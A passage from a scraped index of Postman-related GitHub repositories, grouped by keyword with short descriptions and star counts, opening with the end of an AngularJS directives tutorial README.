to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
rahulmoundekar/spring-boot-exception-handler
boot, controller, handler, rest, spring 		spring-boot-exception-handler with rest controller-postman 2 stars 2 watchers 0 forks
SpringWithNataniel/aula2
controller, util, utilizando 		Entender melhor as controllers do Spring, Verbos HTTP( GET, POST), Utilizar o Postman Criar diversos serviços utilizando Spring Service 1 stars 1 watchers 2 forks
flyingeinstein/nimble
analytics, automat, automation, collection, config, configure, controller, data, home, popular 		Arduino IoT multi-sensor for the ESP8266. Supports a number of popular sensors. Simply wire sensors to the ESP8266 and compile this sketch. Use the Http Rest API (Postman collection provided) to configure and control the sensors and direct sensor data to a number of targets such as Influx for analytics or a home automation controller. 1 stars 1 watchers 0 forks
jiangtianyou/AutoApi
controller, generate, java 		Auto generate api for postman from java controller 1 stars 1 watchers 0 forks
tobyokeke/laravel-model-export
controller, export, laravel, model, properties 		Creates properties for JS from migrations and properties for Postman using request inputs from controllers in Laravel 0 stars 0 watchers 0 forks
MicrocontrollersAndMore/PostmanExamples
controller, description, script 		No description available. 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
ash2042987/PromineoFinalProject
api blueprint, asyncapi, boot, controller, json schema, mysql, oauth, openid, sql 		Respositiories,controllers, entities, mysql, Postman, Spring-boot 0 stars 0 watchers 0 forks
Axelgeorggithub/API_lista_baltieri
controller, crud, ggithub, github, list, program, test, todo, util 		Usuários, categorias e produtos. Para testar utilize o programa postman, na qual o mesmo dispõe do crud(get, post, put, delete) para todos os controllers. 0 stars 0 watchers 0 forks
BahgatMashaly/JavaEntityFrameworkFromDatabaseToPostMan
controller, file, generate, model, service 		Auto generate model, repository, service, controller and postman file 0 stars 0 watchers 0 forks
beata-krasnopolska/TodoApi
class, controller, data, database, learn, method, methods, model, path, routing, tutorial 		The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. 0 stars 0 watchers 0 forks
chrisdetmering/first_routes_and_controllers
controller, endpoint, endpoints, interacted, rails, route, routes 		I used rails to make my first API endpoints (routes) and I made controllers. I also interacted with them through postman. 0 stars 0 watchers 0 forks
daise18/ProjetoSpring
banco, boot, conceitos, controller, entity, java, json, rest, spring, spring boot, test, util, utilizando 		Projeto java com spring boot, spring jpa, utilizando conceitos de microsserviços/apis, banco de dados, json, anotação, repository, entity, rest controllers, testes manuais via postman., 0 stars 0 watchers 0 forks
zhihuiwang88/ssmgenerator03
controller, entity, generator, java, service 		1. 此项目是SSM，使用代码生成器(mybatis-generator)自动生成dao、entity、mapper.xml ,需要自己写controller、service、serviceImpl。不是mybatis-plus-generator自动生成的代码。 2. 使用的日志是log4j 3.简单的CRUD接口写好了且postman测试通过。没有前端页面。 4. 测试类(HouseXiaoServiceImplTest.java)也测试通过。 5. 项目中的DTO、VO没有用到，如果用了，不知道接口测通不。 0 stars 0 watchers 0 forks

demonstrate (15 listings) (Back to Top)

muhammet-mucahit/Coffee-Shop
application, demonstrate 		☕️🔐An application to demonstrate Authentication&Authorization through Auth0 4 stars 4 watchers 0 forks
jorgecotillo/aspnet_core_identity_server_4_postman
application, applications, aspnet, config, configuration, demonstrate, entity, server, test 		Sample applications that demonstrates the configuration of your WebApi and IdentityServer4 to test your API from Postman 0 stars 0 watchers 6 forks
sanjaysaini2000/aspnet-core3-webapi
aspnet, demonstrate, named, operation, operations, webapi 		This is Web API named BookStoreAPI developed with asp.net core 3 using Entity Framework Core 3 and SQL Server as back-end to demonstrate simple out of the box CRUD operations. 2 stars 2 watchers 0 forks
postmanlabs/spectral-postman
demonstrate, example, retrieve, sample, spec, specification 		A sample API that retrieves constellations as an example to demonstrate features in the OpenAPI 3.0 specification. 1 stars 1 watchers 2 forks
edysegura/nodejs-restful
demonstrate, node, nodejs, rest, restful, test 		A simple project to demonstrate how to create RESTful APIs with Node.js and test it with Postman 1 stars 1 watchers 1 forks
cpvariyani/identityserver4-in-net-core-to-secure-public-microservice
client, demonstrate, entity, example, grant, integrate, integrated, microservice, microservices, package, packages, public, sample, secure, server, service, services, test, tested, type, video 		This is a practical example to demonstrate how to secure public microservices in .Net core using Identity server 4. In this video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. A practical example of How to create Identity server in .net core for grant type to client credentials. nuget packages for identity server are 2 IdentityServer4 and IdentityServer4.EntityFramework. and for microservice 1 nuget packages needs to be added Microsoft.AspNetCore.Authentication.JwtBearer 1 stars 1 watchers 0 forks
Mall0c/sse-xxe
demonstrate, queries, sample, script 		Short PHP script with sample Postman queries to demonstrate XML External Entities (XXE) for the "Secure Software Engineering" (SSE) lecture at Hochschule Mannheim 0 stars 0 watchers 1 forks
westfax/API-Postman
collection, demonstrate, document, documents, westfax 		A ready to use Postman collection that documents and demonstrates the WestFax API. 0 stars 0 watchers 1 forks
digitickets/postman-collections-api
collection, collections, demonstrate, digitickets, ticket, tickets 		Postman collections to demonstrate use of the DigiTickets API 0 stars 0 watchers 0 forks
Apollo013/AspNet_WebApi2_MultiPipeLine
access, config, configure, controller, demonstrate, lines, multiple, pipeline, piplines, spec, test 		A small ASP.NET that demonstrates how to configure a WEB API project to have multiple piplines and specify which controllers are accessible for each pipeline. Requires Fiddler or POSTMAN to test. 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
admin, auth, authorization, demonstrate, enable, enabled, entity, example, http, https, integrate, integrated, microservice, microservices, public, role, sample, secure, server, server., service, services, spec, test, tested, user, users, video, youtube 		Identity Server 4 Role-based Authorization in .Net Core 2 Microservice, In this video, we have enabled the role based authorization using the Identity server. we have created 2 users admin and user and created the respective policy in microservices. In part 1, we have seen how to secure the public microservice, in this part, we have demonstrated how we can implement role-based authorization in Identity server 4 and .Net core. Creation of Identity Server4 in .Net core to secure public microservices with a practical example is explained here. In the part 1 of video, we have created IdentityServer4, created sample public microservice, integrated that microservice with identity server and last this securing microservice using identity server is tested using postman. Part 1 Create Identity Server 4 in .net core to secure Public microservices https://www.youtube.com/watch?v=LVYEq... Part 2 Identity Server 4 Role Based Authorization in .Net Core 2 Microservice 0 stars 0 watchers 0 forks
info441-sp19/postman-examples
demonstrate, example, examples, file, files 		Postman files for lab 3 to demonstrate how to use Postman. 0 stars 0 watchers 0 forks
melitus/rest-api-authentication
auth, authenticate, authentication, demonstrate, endpoint, endpoints, rest, rest api, user 		:art: This is to demonstrate how to authenticate a user to use rest api endpoints 0 stars 0 watchers 0 forks
serhii-sanduliak/public-api-postman-collection
collection, demonstrate, example, public, test 		A collection of example requests to demonstrate and test the TransferWise public API 0 stars 0 watchers 0 forks
vdespa/2fa-using-github-twilio-postman
collection, collections, demonstrate, github, to do, twilio 		Postman collections used to demonstrate how to do 2FA with Github and Twilio. 0 stars 0 watchers 0 forks

advanced (15 listings) (Back to Top)

Make-School-Courses/ARCHIVE-MOB-5-Advanced-Mobile-App-Development
advance, advanced, clone, development 		Learn advanced iOS development by building a clone of the Whale App 0 stars 0 watchers 5 forks
vdespa/postman-advanced-workflow-example
advance, advanced, description, example, script, workflow 		No description available. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-CSharp
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-PHP
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 1 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Java
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 3 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Ruby
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 1 stars 1 watchers 0 forks
govindthakur25/expense-tracker
advance, advanced, concept, consume, consumer, explore, fiddler, track, tracker 		Application to explore basic and advanced concepts of Web Api 2. No consumer added yetone have to use fiddler or postman to use it. 0 stars 0 watchers 1 forks
coatsnmore/postman-runner
advance, advanced, runner, test, testing 		Opinionated Postman Collection Runner for advanced API testing 0 stars 0 watchers 0 forks
thuy-vq/advanced-postman
advance, advanced, description, script 		No description available. 0 stars 0 watchers 0 forks
401-advanced-javascript-floyd/Postman-Resty
advance, advanced, java, javascript, script 		Postman Type of APP 0 stars 0 watchers 0 forks
h2hdata/aa_network-analysis-route-inspection
advance, advanced, analytics, chinese, data, inspection, network, problem, route, spec 		This repository consists of POC created for advanced analytics domain. Problem is to implement network analysis for route inspection to solve the chinese postman problem. 0 stars 0 watchers 0 forks
harenlewis/api-hub
access, accessed, advance, advanced, application, development, dummy, mock, multiple, server, server., user, users 		A mock server application where in development or dummy APIs can be created and accessed by multiple users. Similar to Postman's advanced mock server. 0 stars 0 watchers 0 forks
PearsonDevelopersNetwork/LearningStudio-HelloWorld-Python
advance, advanced, application, browser, console, data, exploring, form, format, function, functional, information, pointing, preferred, prior, returned, running, sandbox, site, updating, website 		Start exploring the APIs right away with this fully-functional application that works right out of the box. Using your browser, you can get started with running any GET request to see how data is returned; try more advanced calls (creating and updating information) by pointing your preferred API console at it (e.g., Postman or Fiddler). You will need a key and sandbox prior to using it, available through the PDN website. 0 stars 0 watchers 0 forks
saraseward/postman-on-steroids
advance, advanced 		Presentation on Postman advanced features by Sara Tornincasa (Codermine) 0 stars 0 watchers 0 forks
yasminagilabder/bookingapipostmanadvanced
advance, advanced, apipostman, book, booking, test, tests 		Advance Postman tests suit for a Booking API 0 stars 0 watchers 0 forks

images (15 listings) (Back to Top)

RathaKM/url-imagecount-service
image, images, implementation, service, sync, threaded 		Multithreaded & Asynchronous Spring Boot and Java 8 based REST implementation for counting the images in the given Urls 4 stars 4 watchers 1 forks
RachellCalhoun/craftsite
django, ember, favorite, file, image, images, login, message, posts, profile, site, unit, upload 		This is a crafts and food community site. There is sign-up/login and out. Logged in members can message eachother with Postman-django app. All members create their own profile with image, and info. They can also upload favorite craft/food images, comment on others posts or ask questions. 1 stars 1 watchers 2 forks
sashank-tirumala/2R_Drawing_Robot
codes, computer, find, human, image, images, lines, mail, message, problem, python, queries, source 		All the code for a 2R manipulator that draws outlines of human images. It is a mix of computer vision code implemented and Matlab and partially lifted from Petr Zikovsky. There is also some python code, which basically solves rural postman problem using Monte Carlo Localization and Genetic Algorithms. These codes are from a combination of various sources online that I unfortunately cannot find now. If any queries drop me a message / mail 1 stars 1 watchers 2 forks
shijiahu/face-recognition-api
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 1 forks
xrayin/springboot-rest-image-retriever
application, boot, current, directory, endpoint, endpoints, file, host, http, image, images, local, program, resource, resources, rest, retrieve, source, spring, spring boot, springboot, system 		A spring boot application that uses REST to retrieve an image. Images are currently saved in the directory resources/images for convenience. Best practice would be to save it to a file system. Call any of the endpoints with a program of your choice, I used Postman. e.g. GET -> http://localhost:8080/images/abcd.png 0 stars 0 watchers 1 forks
shijiahu/face-recognition
data, database, facial, image, images, recognition, server, sign up, system, test, testing, tool 		- Built a facial recognition system, using React.js as front-end, Node.js and Express.js as back-end server, PostgreSQL as database, Postman as testing tool - Enabling sign up/sign in, recognize face from images features - Deployed the app to Heroku 0 stars 0 watchers 0 forks
digideskio/gettyimages-api-postman
description, image, images, script 		No description available. 0 stars 0 watchers 0 forks
myimages/django-postman
description, django, image, images, script 		No description available. 0 stars 0 watchers 0 forks
atljoseph/api.go.josephgill.io
api blueprint, asyncapi, bucket, data, database, event, eventually, golang, image, images, json schema, lang, manages, mysql, oauth, openid, progress, site, sql, website 		This is a work in progress which will eventually become part of my website. It is a golang api which manages a mysql database and images in an s3 bucket. 0 stars 0 watchers 0 forks
bakersen/iReporter2
account, application, auth, bridge, countries, development, display, email, enable, enables, event, form, general, github, image, images, link, local, location, mail, notification, play, public, report, script, section, solution, solutions, stat, status, support, things, user, video 		iReporter enables any/every citizen to bring any form of corruption to the notice of appropriate authorities and the general public. Users can also report on things that needs government intervention. Corruption is a huge bane to Africa’s development. African countries must develop novel and localised solutions that will curb this menace, hence the birth of iReporter. ### Features 1. Users can create an account and log in. 2. Users can create a red-flag record (An incident linked to corruption). 3. Users can create intervention record (a call for a government agency to intervene e.g repair bad road sections, collapsed bridges, flooding e.t.c). 4. Users can edit their red-flag or intervention records. 5. Users can delete their red-flag or intervention records. 6. Users can add geolocation (Lat Long Coordinates) to their red-flag or intervention records . 7. Users can change the geolocation (Lat Long Coordinates) attached to their red-flag or intervention records . 8. Admin can change the status of a record to either under investigation, rejected (in the event of a false claim) or resolved (in the event that the claim has been investigated and resolved) . Optional Features 1. Users can add images to their red-flag or intervention records, to support their claims. 2. Users can add videos to their red-flag or intervention records, to support their claims. 3. The application should display a Google Map with Marker showing the red-flag or intervention location. 4. The user gets real-time email notification when Admin changes the status of their record. 5. The user gets real-time SMS notification when Admin changes the status of their record. ## Built With * HTML, CSS, Javascript * Python, Flask APIs * Postgres SQL ## Tools Used * Pivotal Tracker * github * Postman * Heroku ## Version v1.0 ## Authors * **Baker Sentamu** ## iReporter Demo UI Link ## Acknowledgments * Andela Learning Facilitators 0 stars 0 watchers 0 forks
motivast/motimize-postman
host, hosted, image, images, motimize, service, source 		Collection of Postman requests to work with Motimize. Motimize is an open source self-hosted REST web service to optimize and compress images. 0 stars 0 watchers 0 forks
sebariquelme/BackendTest_images
image, images 		Example images from postman 0 stars 0 watchers 0 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks
Technical27/postman
discord, image, images 		a discord bot that gets images from reddit 0 stars 0 watchers 0 forks
xzhang007/Multithread-Web-Server
actor, auth, authentication, binary, capable, current, design, file, files, handling, image, images, method, network, parsing, reading, send, server, sync, synchronize, test, user, version, versions 		Developed a web server in Java capable of handling HTTP requests and parsing those requests, and sending out various HTTP responses. • Handles basic user authentication and CGI which could execute concurrently using multithreading and synchronized method. And it could send binary files like images over network. • Using GitHub repository to control versions and Postman to test as well as factory design pattern. 0 stars 0 watchers 0 forks

process (15 listings) (Back to Top)

sjefvanleeuwen/camunda-zaken
case, engine, external, node, nodejs, process, research, search 		BPMN research case for zaakgericht werken using camunda process engine on nodejs external workers 2 stars 2 watchers 0 forks
cynepton/Udagram-my-own-instagram-on-AWS
application, city, client, cloud, degree, filter, image, microservice, node, process, register, service, user, users 		My edit of Udacity's Udagram image filtering microservice. This is also my project submission as part of my cloud Developer Nanodegree. Udagram is a simple cloud application developed alongside the Udacity Cloud Engineering Nanodegree. It allows users to register and log into a web client, post photos to the feed, and process photos using an image filtering microservice. 1 stars 1 watchers 0 forks
foonster/postman
file, form, format, gateway, generic, mail, operation, operationa, options, parse, parses, process, result, script, send, sends, spec, user, users, variable, variables 		Postman is a generic PHP processing script to the e-mail gateway that parses the results of any form and sends them to the specified users. This script has many formatting and operational options, most of which can be specified within a variable file "_variables.php" each form. 1 stars 1 watchers 0 forks
RamanaPeddinti/Basic-pycharm-program-in-retail-data
data, process, program, retail 		Analysed and preprocessed the retail data using PYCHARM with FLASK (frame work) and deployed in POSTMAN API 1 stars 1 watchers 0 forks
djcruz93/AutomatedAPITesting
process, test, testing 		Automate the process of api testing using circleCI and postman 0 stars 0 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
czardoz/postman-dump-processor
dump, file, files, process 		Processes Postman's dump files 0 stars 0 watchers 0 forks
geanv/Postman
distributed, form, network, performance, process, service 		A distributed NFV service to improve network performance for small packet processing 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks
LOTIRELK/LetterBoxSimulation
display, e mail, experiment, following, initial, mail, office, play, process, program, sort 		Postman Pat became bored one night at the postal sorting office and to break the monotony of the nightshift, he carried out the following experiment with a row of mailboxes (all initially closed) in the post office. These mailboxes are numbered 1 through to 150, and beginning with mailbox 2, he opened the doors of all the even-numbered mailboxes. Next, beginning with mailbox 3, he went to every third mailbox, opening its door if it was closed and closing it if it was open. Then he repeated this procedure with every fourth door, then every fifth door, and so on. When he finished, he was surprised at the distribution of closed mailboxes. A program to determine and display which mailboxes these were (i.e. which doors were closed at the end of the process). 0 stars 0 watchers 0 forks
moinuddin14/oData-Batch-Postman-Demo
collection, example, find, intern, postman collection, process, research, resource, resources, sample, samples, search, source, spec 		I have researched a lot on the internet and couldn't find a lot of resources on oData especially for Batch processing example. So, adding the postman collection with some sample oData batch payload samples 0 stars 0 watchers 0 forks
niallc95/PaymentAPI
generate, http, payment, process 		Uses simplify to process http payment requests. Use postman to generate these requests 0 stars 0 watchers 0 forks
piokrajewski/postmanTest
automat, automation, jenkins, newman, process, setup, test 		Basic setup of automation test process with jenkins+newman+postman 0 stars 0 watchers 0 forks
ruthba/postman_right_collection
collection, environment, process 		this is the collection and environment to run from start to end all the process that the AppUser is doing 0 stars 0 watchers 0 forks
zakikasem/Roomy-App
default, development, knowledge, offers, process, service, util 		An iOS Mobile App that offers room renting service , I utilized the knowledge I gained throughout being iOS Developer Trainee at SwiftyCamp in this project by dealing with: Autolayout constraints. Tableviews. Networking using Alamofire, APIs and JSON Parsing. Userdefaults. MVP Architectural Pattern. Worked with Git , Postman and Sketch in development process 0 stars 0 watchers 0 forks

reporter (15 listings) (Back to Top)

DannyDainton/newman-reporter-htmlextra
helper, helpers, html, module, newman, report, reporter, template, templates 		A HTML reporter for Postman's Command Line Runner, Newman. Includes Non Aggregated Runs broken down by Iterations, Skipped Tests, Console Logs and the handlebars helpers module for better custom templates. 0 stars 0 watchers 34 forks
avidit/newman-reporter-slack
newman, report, reporter, slack 		A newman reporter for slack 0 stars 0 watchers 10 forks
vs4vijay/newman-reporter-influxdb
influxdb, newman, report, reporter 		Newman Reporter for InfluxDB 3 stars 3 watchers 0 forks
semlabs/newman-reporter-phpunit
mlab, newman, phpunit, report, reporter, style, unit 		A newman reporter with a PHPUnit like style 2 stars 2 watchers 1 forks
martinberlin/postman-reporter
api blueprint, asyncapi, document, documented, json schema, oauth, openid, pages, report, reporter, result, sql, test, tests 		Make self-documented HTML pages from your Postman tests. Import test results in a Mysql Database 1 stars 1 watchers 1 forks
mhariachyi-clgx/newman-allure-jenkins
config, configuration, jenkins, newman, pipeline, report, reporter, test, tests 		Jenkins pipeline configuration to run Postman tests with Allure reporter 1 stars 1 watchers 0 forks
avidit/newman-reporter-testrail-extra
newman, report, reporter, test, testrail 		A newman reporter for testrail 1 stars 1 watchers 0 forks
gitteri/newman-reporter-basicText
description, newman, report, reporter, script 		No description available. 0 stars 0 watchers 2 forks
spenceclark/newman-reporter-json-summary
json, mini, minimum, newman, report, reporter, result, summary 		A Newman JSON Reporter that strips the results down to a minimum 0 stars 0 watchers 2 forks
avidit/newman-reporter-datadog
data, description, newman, report, reporter, script 		No description available. 0 stars 0 watchers 0 forks
indeedeng-alpha/newman-reporter-diff
case, client, comparing, http, newman, report, reporter 		Showcase for comparing http requests using newman, the postman cli client. 0 stars 0 watchers 0 forks
LarryKarani/IreporterReactJs
access, application, auth, check, clone, command, coverage, development, download, endpoint, endpoints, environment, flask, following, framework, github, heroku, http, https, install, lang, language, list, local, location, login, machine, program, programming, pytest, python, report, reporter, require, signup, single, source, stat, status, terminal, test, tested, user, users, version, youtube 		# iReporterApi iReporter is an application whose aim is to reduce corruption in Africa and foster economic development. It allows users to create red flags and interventions. It implents the following list of APIs. ### Framework used The application is built using python: flask framework. >[Flask](http://flask.pocoo.org/) is a microframework for the Python programming language. ### End points Method | Endpoint | Usage | | ---- | ---- | --------------- | |POST| `/api/v2/auth/signup` | Register a user. | |POST| `api/v2/auth/login` | Login user.| |POST| `api/v2/auth/logout` | Logs out a user.| |POST| `api/v2/interventions` | Create a new incident. | |GET| `api/v2/interventions` | Get all the created incidents. | |GET| `api/v2/interventions/user` | Get all incident of the logged in user. | |GET| `api/v2/interventions/` | Get a single incident. | |PATCH| `api/v2/interventions//location` | Update a single incident location. | |PATCH| `api/v2/interventions//comment` | Update a single incident comment. | |PATCH| `api/v2/interventions//status` | Update a single incident status. | |DELETE| `api/v2/interventions/` | Delete a single incident. | ## Installation 🕵 - To run on local machine git clone this project : ``` $ git clone https://github.com/larryTheGeek/iReporterApi.git ``` Copy and paste the above command in your terminal, the project will be downloaded to your local machine. To Install python checkout: ``` https://www.python.org/ ``` - create a virtualenv and make it use python 3 using the following command. ``` $ virtualenv -p python3 env ``` - activate the virtual environment ``` $ source env/bin/activate ``` - Install Requirements ``` $ pip install -r requirements.txt ``` ### Testing - Run Test using pytest with the following command ``` $ py.test --cov=app test` ``` you will get the test coverage report on your terminal The app can also be tested via Postman - Run App ``` $ python run.py ``` The app should be accessiable via : http://127.0.0.1:5000/ open postman and navigate to the API endpoints described above ### HEROKU URL https://ireporter-version2.herokuapp.com/api/v2/ ### Owner - Larry Karani ### Motivation https://www.youtube.com/watch?v=wHRUDL7GKmI 0 stars 0 watchers 0 forks
shankj3/logspout_newman_reporter
lines, logs, newman, print, prints, report, reporter 		Newman reporter that prints JSON lines for ingestion by logspout 0 stars 0 watchers 0 forks
vdespa/postman-newman-docker-ci
docker, image, newman, report, reporter 		Docker image with Newman 4 and the HTML reporter 0 stars 0 watchers 0 forks
Verma-Shreya/newmanTest
newman, report, reporter 		Observing how newman reporter works for Postman 0 stars 0 watchers 0 forks

includes (15 listings) (Back to Top)

twilio/wireless-postman-collection
collection, form, format, group, includes, learn, twilio 		This repository includes a group of Programmable Wireless HTTP requests for your convenience. You can learn more about Programmable Wireless HTTP request formats in the Programmable Wireless Documentation. 0 stars 0 watchers 11 forks
omarabdeljelil/flight-api
data, fiddler, flight, includes, laravel, light, require, test, tested, user, validation 		Flight API (created with laravel 5.7) all the HTTP requests are tested with Postman/fiddler. it includes data validation and require user's Token validation for PUT,POST and DELETE requests 1 stars 1 watchers 0 forks
ccjr/stellar-horizon-postman
collection, endpoint, endpoints, includes, stellar 		Postman collection that includes most Stellar Horizon endpoints. 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
